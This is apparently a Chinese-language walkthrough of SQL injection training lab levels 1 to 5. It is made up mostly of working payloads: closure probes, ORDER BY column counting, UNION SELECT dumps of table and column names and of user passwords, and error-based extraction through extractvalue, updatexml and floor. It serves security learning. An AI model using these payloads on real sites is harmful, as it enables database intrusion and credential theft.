sql-lab 1~5

1

?id=1

?id=1'

?id=1'--+

?id=1' order by 1--+

?id=1' order by 4--+

所以有三个字段

?id=1' union select 1,2,3--+

因为web页面只能显示一行数据

?id=-1' union select 1,2,3--+
将让第一行数据显示不出来
或者
?id=1' union select 1,2,3 limit 1,1--+

可以看到有回显的字段2和字段3

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查表名

看users表吧

?id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
查users表中的列名
如果过滤了等号= ，可以用like 替换

-1 ' union select 1,group_concat(username),group_concat(password) from users --+

2

?id=1'

?id=1'--+

?id=1 and 1=1

?id=1 and 1=2

所以是数字型注入

然后和上一题操作基本一致，去掉一个单引号即可
-1 union select 1,2,group_concat(0x7e,username,0x7c,password) from users

3

加了单引号之后还用括号括了起来
?id=-1') union select 1,2,3%23

4

?id=-1") union select 1,2,3%23

这几种是比较经典的
’
')
‘))
"
")
"))

5

?id=1

回显的那两个字段不见了

这一题没有回显 但是有报错，我们就需要构造特殊的语句，将数据显示在报错里，来读取数据

MySQL一共有十种报错注入

常用的三种
extractvalue
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 

updatexml 
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 

floor

前两个是通过xpath语法报错，带出信息

?id=1' union select 1,2,3 or extractvalue(1,concat(0x7e,(select database()),0x7e));--+

?id=1' union select 1,2,3 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e));--+

?id=1' union select 1,2,3 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1);--+

用这两种不知道为啥没带出来

用floor试试
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+

?id=1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+

?id=1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+